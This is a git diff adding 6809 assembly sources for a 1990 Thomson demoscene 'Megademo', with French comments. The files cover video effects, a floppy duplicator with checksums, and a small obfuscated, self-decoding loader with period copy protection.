+       STB    <$DA
+       STA    <$DA
+       LDD    #0
+       STB    <$DA
+       STA    <$DA
+       STX    <$DB
+       LDD    1,U
+       CMPU   #COOPER+2*184
+       BNE    COOP
+
+       LDB    #DIR
+       TFR    B,DP
+       LDA    $E7CC
+       ANDA   #15
+       CMPA   #15
+       BEQ    JOY1
+       LDB    <Z+11
+       BITA   #4      ouest 1
+       BNE    PO1
+       CMPB   #0
+       BEQ    PE1
+       DECB
+       BNE    *+4
+       STB    <Z+10
+PO1    BITA   #8      est 1
+       BNE    PE1-2
+       CMPB   #8
+       BEQ    *+3
+       INCB
+       STB    <Z+11
+PE1    LDB    <Z+13
+       BITA   #2      sud 1
+       BNE    PS1
+       CMPB   #0
+       BEQ    PN1
+       DECB
+       BNE    *+4
+       STB    <Z+12
+PS1    BITA   #1      nord1
+       BNE    PN1-2
+       CMPB   #8
+       BEQ    *+3
+       INCB
+       STB    <Z+13
+PN1    BRA    SPOT
+
+JOY1   LDA    $E7CC
+       LDB    <Z+21
+       BITA   #64     ouest 2
+       BNE    PO2
+       CMPB   #0
+       BEQ    PO2
+       DECB
+       BNE    *+4
+       STB    <Z+20
+PO2    BITA   #128    est 2
+       BNE    PE2-2
+       CMPB   #8
+       BEQ    *+3
+       INCB
+       STB    <Z+21
+PE2    LDB    <Z+23
+       BITA   #32     sud 2
+       BNE    PS2
+       CMPB   #0
+       BEQ    SPOT
+       DECB
+       BNE    *+4
+       STB    <Z+22
+PS2    BITA   #16     nord 2
+       BNE    SPOT-2
+       CMPB   #8
+       BEQ    *+3
+       INCB
+       STB    <Z+23
+
+SPOT   LDU    #MASK-10
+       PULU   X,Y,S
+       LDU    <Z
+       LDA    #5
+       PSHU   S,Y,X
+       LEAU   46,U
+       PSHU   S,Y,X
+       LEAU   46,U
+       PSHU   S,Y,X
+       LEAU   46,U
+       PSHU   S,Y,X
+       LEAU   46,U
+       PSHU   S,Y,X
+       LEAU   46,U
+       PSHU   S,Y,X
+       LEAU   46,U
+       PSHU   S,Y,X
+       LEAU   46,U
+       PSHU   S,Y,X
+       LEAU   46,U
+       DECA
+       BNE    *-41
+       LDU    <Z+2
+       LDA    #5
+       PSHU   S,Y,X
+       LEAU   46,U
+       PSHU   S,Y,X
+       LEAU   46,U
+       PSHU   S,Y,X
+       LEAU   46,U
+       PSHU   S,Y,X
+       LEAU   46,U
+       PSHU   S,Y,X
+       LEAU   46,U
+       PSHU   S,Y,X
+       LEAU   46,U
+       PSHU   S,Y,X
+       LEAU   46,U
+       PSHU   S,Y,X
+       LEAU   46,U
+       DECA
+       BNE    *-41
+
+       LDX    #ECRAN
+       LDU    #ZZ+24
+       LDA    #5
+SCROL  ASL    ,U+
+       ROL    19,X
+       ROL    18,X
+       ROL    17,X
+       ROL    16,X
+       ROL    15,X
+       ROL    14,X
+       ROL    13,X
+       ROL    12,X
+       ROL    11,X
+       ROL    10,X
+       ROL     9,X
+       ROL     8,X
+       ROL     7,X
+       ROL     6,X
+       ROL     5,X
+       ROL     4,X
+       ROL     3,X
+       ROL     2,X
+       ROL     1,X
+       ROL     ,X
+       ROL    -1,X
+       ROL    -2,X
+       ROL    -3,X
+       ROL    -4,X
+       ROL    -5,X
+       ROL    -6,X
+       ROL    -7,X
+       ROL    -8,X
+       ROL    -9,X
+       ROL    -10,X
+       ROL    -11,X
+       ROL    -12,X
+       ROL    -13,X
+       ROL    -14,X
+       ROL    -15,X
+       ROL    -16,X
+       ROL    -17,X
+       ROL    -18,X
+       ROL    -19,X
+       ROL    -20,X
+       LEAX   40,X
+       DECA
+       BNE    SCROL
+       DEC    <Z+4
+       BNE    JOIN
+
+       LDX    <Z+5
+       LDA    ,X+
+       BNE    *+5
+       LDX    #TEXTE
+       STX    <Z+5
+       LDB    #5
+       MUL
+       LDU    #FONTE
+       LEAS   D,U
+       PULS   B,X,Y
+       LDU    #ZZ+29
+       PSHU   Y,X,B
+       LDA    #8
+       STA    <Z+4
+
+JOIN   LDX    <Z+7    abcisse
+       LDD    <Z+10
+       TSTA
+       BEQ    *+3
+       NEGB
+       LEAX   D,X
+       CMPX   #327
+       BLO    *+6
+       LDX    #327
+       COMA
+       CMPX   #48
+       BHI    *+6
+       LDX    #48
+       COMA
+       STA    <Z+10
+       STX    <Z+7
+
+       LDX    <Z+14   ordonnée
+       LDD    <Z+12
+       TSTA
+       BEQ    *+3
+       NEGB
+       LEAX   D,X
+       CMPX   #188
+       BLO    *+6
+       LDX    #188
+       COMA
+       CMPX   #32
+       BGT    *+6
+       LDX    #32
+       COMA
+       STA    <Z+12
+       STX    <Z+14
+
+       LDA    <Z+15   adresse écran
+       LDB    #40
+       MUL
+       LDX    #$9B00
+       LEAX   D,X
+       LDD    <Z+7
+       ASRA
+       RORB
+       LSRB
+       LSRB
+       ABX
+       STX    <Z
+
+       LDA    <Z+8    adresse du masque
+       ANDA   #7
+       LDB    #240
+       MUL
+       LDU    #MASK
+       LEAU   D,U
+
+       LDA    #10
+       LEAS   ,X
+SPOT1  PULU   X,Y,B,DP
+       PSHS   B,DP,Y,X
+       LEAS   46,S
+       PULU   X,Y,B,DP
+       PSHS   B,DP,Y,X
+       LEAS   46,S
+       PULU   X,Y,B,DP
+       PSHS   B,DP,Y,X
+       LEAS   46,S
+       PULU   X,Y,B,DP
+       PSHS   B,DP,Y,X
+       LEAS   46,S
+       DECA
+       BNE    SPOT1
+
+       LDA    #DIR
+       TFR    A,DP
+       LDX    <Z+16   abcisse 2
+       LDD    <Z+20
+       TSTA
+       BEQ    *+3
+       NEGB
+       LEAX   D,X
+       CMPX   #327
+       BLO    *+6
+       LDX    #327
+       COMA
+       CMPX   #48
+       BGT    *+6
+       LDX    #48
+       COMA
+       STA    <Z+20
+       STX    <Z+16
+
+       LDX    <Z+18   ordonnée 2
+       LDD    <Z+22
+       TSTA
+       BEQ    *+3
+       NEGB
+       LEAX   D,X
+       CMPX   #192
+       BLO    *+6
+       LDX    #192
+       COMA
+       CMPX   #32
+       BGT    *+6
+       LDX    #32
+       COMA
+       STA    <Z+22
+       STX    <Z+18
+
+       LDA    <Z+19   adresse écran 2
+       LDB    #40
+       MUL
+       LDX    #$9B00
+       LEAX   D,X
+       LDD    <Z+16
+       ASRA
+       RORB
+       LSRB
+       LSRB
+       ABX
+       STX    <Z+2
+
+       LDA    <Z+17   adresse masque 2
+       ANDA   #7
+       LDB    #240
+       MUL
+       LDU    #MASK
+       LEAU   D,U
+
+       LEAS   -4,X
+       LDX    #20
+SPOT2  PULU   D
+       ORA    -2,S
+       ORB    -1,S
+       STD    -2,S
+       PULU   D
+       ORA    ,S
+       ORB    1,S
+       STD    ,S
+       PULU   D
+       ORA    2,S
+       ORB    3,S
+       STD    2,S
+       LEAS   40,S
+       PULU   D
+       ORA    -2,S
+       ORB    -1,S
+       STD    -2,S
+       PULU   D
+       ORA    ,S
+       ORB    1,S
+       STD    ,S
+       PULU   D
+       ORA    2,S
+       ORB    3,S
+       STD    2,S
+       LEAS   40,S
+       LEAX   -1,X
+       BNE    SPOT2
+       LDB    $E7CD
+       BITB   #64
+       LBNE   SYNCRO
+
+       LDD    #32
+       STA    $E7DB
+       STA    $E7DA
+       DECB
+       BNE    *-4
+       LDD    #$7B00
+       STD    $E7DC
+       LDS    #ZZ+24
+
+SANFIN LDA    #2
+       STA    $E7E5
+       BSR    READ
+       LDA    #$80
+       STA    <$DD
+       LDA    #3
+       STA    $E7E5
+       BSR    READ
+       LDA    #$C0
+       STA    <$DD
+       BRA    SANFIN
+
+READ   LDA    #$60
+       TFR    A,DP
+       LDU    #ZZ+29
+       LDX    #$A000
+       STX    <$4F
+       LDA    #2
+       LDB    2,U
+       STD    <$48
+       LDA    1,U
+       LDB    #1
+       STD    <$4B
+
+       LDA    #$A0    buffer
+       LDB    #1      secteur
+       LDX    ,U      piste
+
+CHARGE TST    $E7C8
+       BNE    RDP-4
+       JSR    $E004
+       BCS    CHARGE
+       INCB
+       CMPB   #17
+       BNE    GOON+2
+       LDB    #1
+       LEAX   1,X
+       CMPX   #80
+       BNE    GOON
+       LDX    #0
+       LDB    2,U
+       EORB   #1
+       BNE    *+3
+       LDX    #PISTE1
+       STB    2,U
+GOON   STX    <$4A
+       STB    <$4C
+       INCA
+       STA    <$4F
+       CMPA   #$E0
+       BNE    CHARGE
+
+       STX    ,U
+       LDB    #$E7
+       TFR    B,DP
+WAIT   LDA    <$CD
+       BITA   #64
+       BNE    RDP-8
+       LDA    #32
+       BITA   <$E7
+       BEQ    *-2
+       BITA   <$E7
+       BNE    *-2
+       PSHS   A
+       MUL
+       MUL
+       MUL
+       MUL
+       PULS   A
+       BITA   <$E7
+       BEQ    *-10
+       MUL
+       MUL
+       MUL
+       MUL
+       MUL
+       TST    <$E7
+       BPL    *-7
+       MUL
+       MUL
+       MUL
+       MUL
+       MUL
+       TST    <$E7
+       BMI    *-7
+       LDA    #160
+       TST    ,X+
+       ABX
+       DECA
+       BNE    *-4
+       STA    <$DB
+       LDX    #$DF40
+PALS   LDD    ,X++
+       STB    <$DA
+       STA    <$DA
+       CMPX   #$DF60
+       BNE    PALS
+       RTS
+       TST    <$C8
+       BEQ    WAIT
+
+       LDS    #0
+RDP    LDA    #0
+       TFR    A,DP
+       CLR    $E7DD
+       CLR    $E7DC
+       LDA    #255
+       LDX    #COLORS
+       JSR    $EC00
+       RTS
+
+       FDB    0,0
+COLORS FDB    0,15,240,255,3840,3855
+       FDB    4080,4095,1911,826,931
+       FDB    938,2611,2618,3815,123
+COOPER
+       END
diff --git a/code/3rdparty/sources2-hcl/HCL Megademo/MULTIMOD.ASM b/code/3rdparty/sources2-hcl/HCL Megademo/MULTIMOD.ASM
new file mode 100644
index 0000000..b25473f
--- /dev/null
+++ b/code/3rdparty/sources2-hcl/HCL Megademo/MULTIMOD.ASM
@@ -0,0 +1,161 @@
+****************************************
+*                                      *
+****       M U L T I M O D          ****
+*HCL*                              *HCL*
+****************************************
+* J'ai honte ! Pourtant c'est bien moi *
+
+
+       ORG    $A000
+MAP2   EQU    $A477
+
+
+G      ORCC   #80
+       LDA    #$E7
+       EXG    A,DP
+       STA    RDP+1
+       LDD    #32
+       STA    <$DB
+       STA    <$DA
+       DECB
+       BNE    *-3
+       LDA    #$21
+       STA    <$DC
+       CLR    <$DD
+       LDA    <$C3
+       ORA    #1
+       STA    <$C3
+       LDX    #$4000
+       CLR    ,X+
+       CMPX   #$5F40
+       BNE    *-5
+       DEC    <$C3
+       CLR    ,-X
+       CMPX   #$4000
+       BNE    *-5
+       LDX    #MAP
+       STX    $616B
+       LDD    #$FF0E
+       STA    $6249
+       STB    $616D
+       LDD    #$60B
+       STD    $61D6
+       CLR    $6288
+       LDB    #69
+       JSR    $EC0C
+       LDA    #255
+       LDX    #DATAS-8
+       JSR    $EC00
+       LDA    <$CD
+       BITA   #64
+       BNE    *-4
+       LDD    #32
+       STA    <$DB
+       STA    <$DA
+       DECB
+       BNE    *-3
+       LDX    #MAP2
+       STX    $616B
+       LDD    #$FF0E
+       STA    $6249
+       STB    $616D
+       LDD    #$100
+       STD    $61D6
+       CLR    $6288
+       LDB    #69
+       JSR    $EC0C
+
+       LDA    #32
+       BITA   <$E7
+       BEQ    *-2
+       BITA   <$E7
+       BNE    *-2
+       PSHS   A
+       MUL
+       MUL
+       MUL
+       MUL
+       PULS   A
+       BITA   <$E7
+       BEQ    *-10
+       MUL
+       MUL
+       MUL
+       MUL
+       MUL
+       TST    <$E7
+       BPL    *-7
+       MUL
+       MUL
+       MUL
+       MUL
+       MUL
+       TST    <$E7
+       BMI    *-7
+       LDX    #892
+       LEAX   -1,X
+       BNE    *-2
+       TST    ,X
+       LDU    #DATAS
+
+       PULU   X
+WAIT   MUL
+       MUL
+       MUL
+       MUL
+       TST    ,Y++
+       LEAX   -1,X
+       BEQ    *+4
+       BRA    WAIT
+       LDX    #7
+COULS  LDA    ,U+
+       ASLA
+       STA    <$DB
+       PULU   D
+       STB    <$DA
+       STA    <$DA
+       TST    1,Y
+       MUL
+       MUL
+       LEAX   -1,X
+       BNE    COULS
+MODE   LDA    ,U+
+       NOP
+       STA    <$DC
+       CMPU   #FINDAT
+       BEQ    *+4
+       BRA    *+5
+       LDU    #DATAS
+       MUL
+       MUL
+       ABX
+       TST    <$C8
+       BEQ    WAIT-2
+RDP    LDA    #0
+       TFR    A,DP
+       LDB    #12
+       JSR    $E803
+       LDA    #255
+       LDX    #FINDAT
+       JSR    $EC00
+       RTS
+
+       FDB    0,$F0,$20,$60
+DATAS  FDB     64,$10F,4,$0016,0,6,$2B
+       FDB    0,8,$5F,0,$2A
+       FDB     32,$102,$2202,$555,$30F
+       FDB    $FF0A,$1BF,0,$C,$6FE,0,$21
+       FDB     40,0,2,$2,0,$E,$DFD,0,0,0
+       FDB    0,$7B
+       FDB     40,$103,3,$1B,$601,$6F08
+       FDB    $777,$A00,$400C,$841,$E0F
+       FDB    $9400
+       FDB     96,$501,$2407,$FFF,$0901
+       FDB    $150B,$049F,$0D01,$3E00,0
+       FDB    0,0
+
+FINDAT FDB    0,15,240,255,3840,3855
+       FDB    4080,4095,1911,826,931,938
+       FDB    2611,2618,3815,123
+MAP
+       END
diff --git a/code/3rdparty/sources2-hcl/HCL Megademo/Megaspreader/CHECKSUM.ASM b/code/3rdparty/sources2-hcl/HCL Megademo/Megaspreader/CHECKSUM.ASM
new file mode 100644
index 0000000..3c7b8ab
--- /dev/null
+++ b/code/3rdparty/sources2-hcl/HCL Megademo/Megaspreader/CHECKSUM.ASM
@@ -0,0 +1,40 @@
+****************************************
+*                                      *
+* Calcul du checksum pour une zone DSK *
+*                                      *
+************(MEGASPREADER)**************
+
+       ORG    $9F00
+
+G      ORCC   #80
+       LDD    #$11B   face et piste
+       STA    $6049
+       STB    $604B
+       LDX    #$A000
+       STX    $604F
+       CLR    $E7E5
+
+       LDD    #$102   lecture secteur 1
+       STB    $6048
+       CLRB
+
+LOAD   STA    $604C
+       JSR    $E004
+       LDX    #$A000
+       ADDB   ,X+
+       CMPX   #$A100
+       BNE    *-5
+       INCA
+       CMPA   #17
+       BNE    LOAD
+       LDA    $604B
+       INCA
+       STA    $604B
+       CMPA   #80     derniere piste ?
+       BEQ    *+6
+       LDA    #1
+       BRA    LOAD
+       STB    *+4     la somme finale
+       RTS
+
+       END
diff --git a/code/3rdparty/sources2-hcl/HCL Megademo/Megaspreader/SPREADER.ASM b/code/3rdparty/sources2-hcl/HCL Megademo/Megaspreader/SPREADER.ASM
new file mode 100644
index 0000000..b8ca5cf
--- /dev/null
+++ b/code/3rdparty/sources2-hcl/HCL Megademo/Megaspreader/SPREADER.ASM
@@ -0,0 +1,389 @@
+****************************************
+*                                      *
+* MEGADEMO SPREADER: 640Ko EN 3 PASSES *
+*                                      *
+****************************************
+* Bâclé par un Doctor Lô très pressé ! *
+
+
+FONTE  EQU    $7770
+MESG   EQU    $7A70
+MAP2   EQU    MAP+$2A6
+CHECKS EQU    $B980    B900= sector 53-1
+COULR  EQU    $3E3E
+COULW  EQU    $2C2C
+CART   EQU    13
+       ORG    $7C00
+
+G      ORCC   #80
+       LDA    #$E7
+       EXG    A,DP
+       STA    RDP+1
+       STS    RDP-2
+       LDD    #32
+       STA    <$DB
+       STA    <$DA
+       DECB
+       BNE    *-3
+       LDA    #$21
+       STA    <$DC
+       CLR    <$DD
+       LDA    <$C3
+       ORA    #1
+       STA    <$C3
+       LDX    #$4000
+       CLR    ,X+
+       CMPX   #$5F40
+       BNE    *-5
+       DEC    <$C3
+       CLR    ,-X
+       CMPX   #$4000
+       BNE    *-5
+       LDX    #MAP
+       STX    $616B
+       LDD    #$FF0E
+       STA    $6249
+       STB    $616D
+       LDD    #$60B
+       STD    $61D6
+       CLR    $6288
+       LDB    #69
+       JSR    $EC0C
+       LDA    #255
+       LDX    #COLORS-40
+       JSR    $EC00
+       LDA    <$CD
+       BITA   #64
+       BNE    *-4
+       LDD    #32
+       STA    <$DB
+       STA    <$DA
+       DECB
+       BNE    *-3
+       STB    <$DC
+       LDX    #MAP2
+       STX    $616B
+       LDD    #$FF0E
+       STA    $6249
+       STB    $616D
+       LDD    #$100
+       STD    $61D6
+       CLR    $6288
+       LDB    #69
+       JSR    $EC0C
+
+       LDA    <$C3
+       ORA    #1
+       STA    <$C3
+       LDX    #CHECKS
+       LDY    #PRINT-3
+       LDS    #$5D20
+       TST    8,X
+       BEQ    PACHEK
+       LDB    #$26
+       STB    TCHEK
+       LDD    9,X
+       STD    -3,Y
+       LDA    11,X
+       STA    -1,Y
+
+PACHEK LDA    #8
+       STA    ,Y
+       LDB    ,X+
+       LDA    #5
+       MUL
+       LDU    #FONTE+32
+       LEAU   D,U
+       LDD    ,U++
+       STA    80,S
+       STB    40,S
+       LDD    ,U++
+       STA    ,S+
+       STB    -41,S
+       LDA    ,U
+       STA    -81,S
+       DEC    ,Y
+       BNE    PACHEK+4
+       LDS    RDP-2
+       LDA    #255
+       LDX    #COLORS-32
+       JSR    $EC00
+
+       LDA    #$60
+       TFR    A,DP
+       CLR    <$49
+       CLR    <$50
+       LDD    #$301
+       JSR    PRINT
+CLAV   JSR    $E806
+       CMPB   #48
+       BLO    CLAV
+       CMPB   #57
+       BHI    CLAV
+       SUBB   #48
+       LBEQ   RDP-4
+       STB    PRINT-2
+
+       LDD    #$9002
+       LDX    #0
+       LDY    #$4504
+       JSR    DISK
+       LDX    #$9000
+       JSR    CHECK
+
+       LDA    PRINT-2
+WRITE1 STA    PRINT-3
+       ADDA   #16
+       STA    MESG+276
+       LDD    #$9008
+       LDX    #0
+       LDY    #$4504
+       JSR    DISK
+       LDA    PRINT-3
+       DECA
+       BNE    WRITE1
+
+       LDD    #$8002
+       LDX    #53
+       LDY    #$4D4C
+       JSR    DISK
+       LDX    #$8100  checksector = 8000
+       JSR    CHECK
+
+       JSR    COMPT
+       LDA    PRINT-2
+WRITE2 STA    PRINT-3
+       ADDA   #16
+       STA    MESG+276
+       LDD    #$8008
+       LDX    #53
+       LDY    #$4D4C
+       CLR    <$49
+       JSR    DISK
+       LDA    PRINT-3
+       DECA
+       BNE    WRITE2
+
+       LDD    #$9002
+       LDX    #27
+       LDY    #$55BC
+       JSR    DISK
+       LDX    #$9000
+       JSR    CHECK
+
+       LDA    PRINT-2
+WRITE3 STA    PRINT-3
+       ADDA   #16
+       STA    MESG+276
+       LDD    #$9008
+       LDX    #27
+       LDY    #$55BC
+       JSR    DISK
+       LDA    PRINT-3
+       DECA
+       BNE    WRITE3
+
+       CLR    <$49
+       JMP    QUIT
+
+DISK   PSHS   A,B,X,Y
+       CMPB   #2
+       BEQ    READ
+       LDD    #$600
+       JSR    PRINT
+       LDD    #$201
+       JSR    PRINT
+       JSR    ACTION
+       LDD    #0
+       JSR    PRINT
+       LDD    #$701
+       JSR    PRINT
+       LDU    #COULW
+       BRA    JOIN
+READ   LDD    #$400
+       JSR    PRINT
+       LDD    #$201
+       JSR    PRINT
+       JSR    ACTION
+       LDD    #0
+       JSR    PRINT
+       LDD    #$501
+       JSR    PRINT
+       LDU    #COULR
+JOIN   PULS   Y,X,B,A
+       STB    <$48
+       STX    <$4A
+       LDB    #2
+       STB    $E7E5
+       LDB    #1
+       STB    <$4C
+       STA    <$4F
+CHARGE TST    $E7C8
+       BEQ    *+5
+       JMP    RDP-4
+       JSR    $E004
+       BCS    ERROR
+       STU    ,Y++
+       INCB
+       CMPB   #17
+       BNE    GOON+2
+       LDB    #1
+       LEAY   8,Y
+       LEAX   1,X
+       CMPX   #80
+       BNE    GOON
+       LDX    #0
+       LDB    <$49
+       EORB   #1
+       LDX    #0
+       STB    <$49
+GOON   STX    <$4A
+       STB    <$4C
+       INCA
+       STA    <$4F
+       CMPA   #$E0
+       BNE    CHARGE
+       LDA    $E7E5
+       INCA
+       CMPA   #CART
+       BNE    *+3
+       INCA
+       CMPA   #16
+       BEQ    *+9
+       STA    $E7E5
+       LDA    #$A0
+       BRA    CHARGE-2
+       RTS
+
+ERROR  LDB    <$4E
+       CMPB   #2
+       BEQ    CHARGE
+       LDX    #COLORS+32
+       LDU    #MESG+387
+       LSRB
+       LSRB
+       LSRB
+       LSRB
+       LDA    B,X
+       LDB    <$4E
+       ANDB   #15
+       LDB    B,X
+       STD    ,U++
+       LDB    <$48
+       LDA    B,X
+       LDB    <$49
+       LDB    B,X
+       STD    ,U++
+       LDB    <$4B
+       LSRB
+       LSRB
+       LSRB
+       LSRB
+       LDA    B,X
+       LDB    <$4B
+       ANDB   #15
+       LDB    B,X
+       STD    ,U++
+       LDB    <$4C
+       LSRB
+       LSRB
+       LSRB
+       LSRB
+       LDA    B,X
+       LDB    <$4C
+       ANDB   #15
+       LDB    B,X
+       STD    ,U
+       LDD    #$900
+       JSR    PRINT
+QUIT   LDD    #$101
+       JSR    PRINT
+       TST    $E7C8
+       BEQ    *-3
+       LDS    #0
+RDP    LDA    #0
+       TFR    A,DP
+       LDA    #255
+       LDX    #COLORS
+       JSR    $EC00
+       RTS
+       FDB    0,15,2,6
+       FDB    0,$FD0,$FB0,$F90,$F70,$F50
+       FDB    $F30,4095,$666,$222,5,10
+       FDB    $500,$A00,$50,$A0
+COLORS FDB    0,15,240,255,3840,3855
+       FDB    4080,4095,1911,826,931
+       FDB    938,2611,2618,3815,123
+       FDB    $1011,$1213,$1415,$1617
+       FDB    $1819,$2122,$2324,$2526
+       FDB    0,0,0
+PRINT  LDX    #MESG
+       LDU    #$4078
+       TSTB
+       BEQ    *+5
+       LDU    #$41B8
+       LDB    #40
+       MUL
+       LEAY   D,X
+       LDA    #40
+       STA    PRINT-1
+       LDA    $E7C3
+       ORA    #1
+       STA    $E7C3
+
+CHAR   LDB    ,Y+
+       LDA    #8
+       MUL
+       LDX    #FONTE
+       LEAX   D,X
+       LDD    ,X++
+       STA    160,U
+       STB    120,U
+       LDD    ,X++
+       STA    80,U
+       STB    40,U
+       LDD    ,X++
+       STA    ,U+
+       STB    -41,U
+       LDD    ,X
+       STA    -81,U
+       STB    -121,U
+       DEC    PRINT-1
+       BNE    CHAR
+       DEC    $E7C3
+       RTS
+ACTION LDA    $E7CD
+       BITA   #64
+       BNE    ACTION
+       RTS
+CHECK  LDD    #2
+       STB    $E7E5
+       ADDA   ,X+
+       CMPX   #$E000
+       BNE    *-5
+       LDX    #$A000
+       INCB
+       CMPB   #CART
+       BNE    *+3
+       INCB
+       CMPB   #16
+       BNE    CHECK+3
+       CMPA   PRINT-6
+TCHEK  LDA    #4      -> BNE   *+6
+       INC    *-3
+       RTS
+       LDD    #$800
+       JSR    PRINT
+       JMP    QUIT
+COMPT  LDX    #$8088
+       LDA    ,-X
+       INCA
+       CMPA   #10
+       BNE    *+9
+       CLR    ,X
+       CMPX   #$8000
+       BNE    COMPT+3
+       STA    ,X
+       RTS
+MAP
+       END
diff --git a/code/3rdparty/sources2-hcl/HCL Megademo/OVERSCAN.ASM b/code/3rdparty/sources2-hcl/HCL Megademo/OVERSCAN.ASM
new file mode 100644
index 0000000..ed6b6cb
--- /dev/null
+++ b/code/3rdparty/sources2-hcl/HCL Megademo/OVERSCAN.ASM
@@ -0,0 +1,140 @@
+****************************************
+*                                      *
+* COMPETENCE SANS FRONTIERE:L'OVERSCAN *
+*                                      *
+****************************************
+* Codé le 10-9-90 par doc Lô           *
+
+       ORG    $D5B2
+
+G      ORCC   #80
+       LDA    #$E7
+       EXG    A,DP
+       STA    RDP+2
+       LDD    #32
+       STA    <$DB
+       STA    <$DA
+       DECB
+       BNE    *-3
+       LDA    #$21
+       STA    <$DC
+       CLR    <$DD
+       LDA    <$C3
+       ORA    #1
+       STA    <$C3
+       LDX    #$4000
+       CLR    ,X+
+       CMPX   #$5F40
+       BNE    *-5
+       DEC    <$C3
+       CLR    ,-X
+       CMPX   #$4000
+       BNE    *-5
+       LDX    #MAP
+       STX    $616B
+       LDD    #$FF0E
+       STA    $6249
+       STB    $616D
+       LDD    #$60B
+       STD    $61D6
+       CLR    $6288
+       LDB    #69
+       JSR    $EC0C
+       LDA    #255
+       LDX    #COULS
+       JSR    $EC00
+       LDA    <$CD
+       BITA   #64
+       BNE    *-4
+       LDD    #32
+       STA    <$DB
+       STA    <$DA
+       DECB
+       BNE    *-3
+       LDX    #$4467
+       LDU    #$A000
+       LDA    ,U+
+       STA    ,X+
+       CMPX   #$5F40
+       BNE    *-7
+       INC    <$C3
+       LDX    #$4467
+       LDA    ,U+
+       STA    ,X+
+       CMPX   #$5F40
+       BNE    *-7
+       LDA    #255
+       LDX    #COULS+8
+       JSR    $EC00
+
+       LDA    #100
+       LDX    #8*312
+       LEAX   -1,X
+       BNE    *-2
+       DECA
+       BNE    *-8
+
+NORMAL LDA    #32
+       BITA   <$E7
+       BEQ    *-2
+       BITA   <$E7
+       BNE    *-2
+       PSHS   A
+       MUL
+       MUL
+       MUL
+       MUL
+       PULS   A
+       BITA   <$E7
+       BEQ    *-10
+       MUL
+       MUL
+       MUL
+       MUL
+       MUL
+       TST    <$E7
+       BPL    *-7
+       MUL
+       MUL
+       MUL
+       MUL
+       MUL
+       TST    <$E7
+       BMI    *-7
+       LDB    #$5C
+       TST    <$C8
+       BNE    RDP
+       LDA    <$CC
+       BITA   #2
+       BNE    NORMAL
+
+GOON   LDA    #$7C
+       STA    <$E7
+       LDX    #4
+       LEAX   -1,X
+       BNE    *-2
+       STB    <$E7
+       LDX    #8
+       LEAX   -1,X
+       BNE    *-2
+       LDA    <$C8
+       BNE    RDP
+       LDA    <$CC
+       BITA   #1
+       BNE    GOON
+       BRA    NORMAL
+
+RDP    LDD    #$FF00
+       CLR    <$DC
+       TFR    B,DP
+       LDX    #COULS+16
+       JSR    $EC00
+       RTS
+
+COULS  FDB    0,$F00,$200,$600
+       FDB    0,19,40,1996
+       FDB    0,15,240,255,3840,3855
+       FDB    4080,4095,1911,826
+MAP
+
+       END
diff --git a/code/3rdparty/sources2-hcl/INST6280.ASM b/code/3rdparty/sources2-hcl/INST6280.ASM
new file mode 100644
index 0000000..5f255b3
--- /dev/null
+++ b/code/3rdparty/sources2-hcl/INST6280.ASM
@@ -0,0 +1,132 @@
+       ORG    $6280
+       FCB    0,5,6,'Z-64,$5F,$EC
+       FDB    H-$6280  adresse exécution
+GOTO   FDB    MYEND-2
+COLORS FDB    0,15,240,255,3840,3855
+       FDB    4080,4095,1911,826,931,938
+       FDB    2611,2618,3815,123
+       FCB    27,$40,27,$50,27,$60,12
+       FCB    31,32,$28,27,$47,12,27,$68
+       FCB    0
+       FDB    980,4567,23571,9804,13879
+       FCC    "ASM"
+       FDB    28486,6480,4889,19687,1225
+
+MODCOD NEG    <0
+       PSHS   U
+       DAA
+       PSHS   PC,Y,DP
+       LDD    2,S
+       FCB    $71,$35,$F1      NEG >35F1
+       ASLA
+       COMA
+       INCA
+       FCC    " Rules"         BRA DEVIE
+
+       FDB    7813,4089,10389,23586,8912
+
+RETURN LEAS   4,S
+       FCB    $6D,$F0          TST [,S+]
+       LDB    -4,S
+       ORA    #1      A=$B1
+       BMI    LAB1
+       FCB    $1B,$19,0
+
+LAB2   ROLA
+       PULS   U
+       ORCC   #$10
+       RORB
+       FCB    $72,$10,$23     COM >$1023
+       ROLA
+       ADDD   >$0001
+       PSHS   D
+       LDA    ,X++
+       BVC    LAB3
+       FCB    $0B,$0F
+
+LAB1   TFR    D,Y
+       LEAX   D,Y     !!! seul Z changé
+       BPL    H-15
+       FCB    $1F,$70          TFR ?,D
+       ADDD   $627E,PCR
+       FCB    $01,$27          NEG <27
+       SUBD   #$39BD                !
+       ADCA   #$10         +--------+
+       ROLB                !
+       SEX                \/
+SB6327 FCB    $BE,$45,$51 COMA LSRA NEGB
+       LBRN   $1972
+       LBRA   LAB2
+       FCB    9
+       BRA    *+72
+DEVIE  LDU    [GOTO,PCR]
+       FDB    $0153           NEG  <53
+       FCB    $6E,$C7         JMP  A,U
+       FCB    17
+
+LAB3   ADDA   1,S
+       LDB    ,X
+       FCB    $CF,$12,$6E     STUl 2,PCR
+       ADDB   ,S++
+       STB    ,--X
+       FCB    $E6,$90         LDB [,X+]
+       STA    1,X
+       RTS
+
+       FDB    30899,3278,7810,12488
+       FDB    26252,15478
+       FCB    32
+
+H      BSR    CHKIND
+       CLR    >$60D1
+       LDA    #-1
+       LDX    #COLORS
+       JSR    $EC00   initialise palette
+       LDU    #$E004
+       LDY    #$CB28  change 6396 & 6398
+CPT    LDD    #$E766
+       LEAX   $FD79,PCR
+       INCA
+       DAA
+       DECB
+       BPL    *-3
+       TFR    A,B
+       SUBA   #($58-$65)
+       JSR    D,X
+       BSR    MAPPRO
+       LDU    #COLORS+32
+       LDB    ,U+
+       JSR    $E803
+       BNE    *-5     écran noir
+       LDU    #0
+       LDY    #$4000  effacement & copie
+       LDD    ,X        en $4000 de la
+CODCHG EORA   #$7B
+       EORB   #$DE
+       EXG    A,B
+       STU    ,X++    suite du programme
+       STD    ,Y++
+       CMPX   #MYEND+$500
+       BLO    CODCHG-2
+       RTS
+CHKIND LDD    #$63FF
+       TFR    A,DP
+       TFR    B,CC
+       LDX    >$600A  FAB-Mon déjà actif
+       CMPX   #$E000  => RESET à froid
+       BHS    CHKIND-1
+       STX    >$60FE
+       JMP    $FDC8
+MAPPRO LDU    #MYEND
+       LDX    #$6300
+       LDB    ,X+
+       SUBB   ,U
+       STB    ,U+
+       CMPX   #MYEND
+       BNE    *-9
+       CMPU   #MYEND+$500
+       BLO    MAPPRO+3
+       RTS
+       FDB    RETURN+$50
+MYEND
+       END
diff --git a/code/3rdparty/sources2-hcl/MAPPING.ASM b/code/3rdparty/sources2-hcl/MAPPING.ASM
new file mode 100644
index 0000000..9e6fa2d
--- /dev/null
+++ b/code/3rdparty/sources2-hcl/MAPPING.ASM
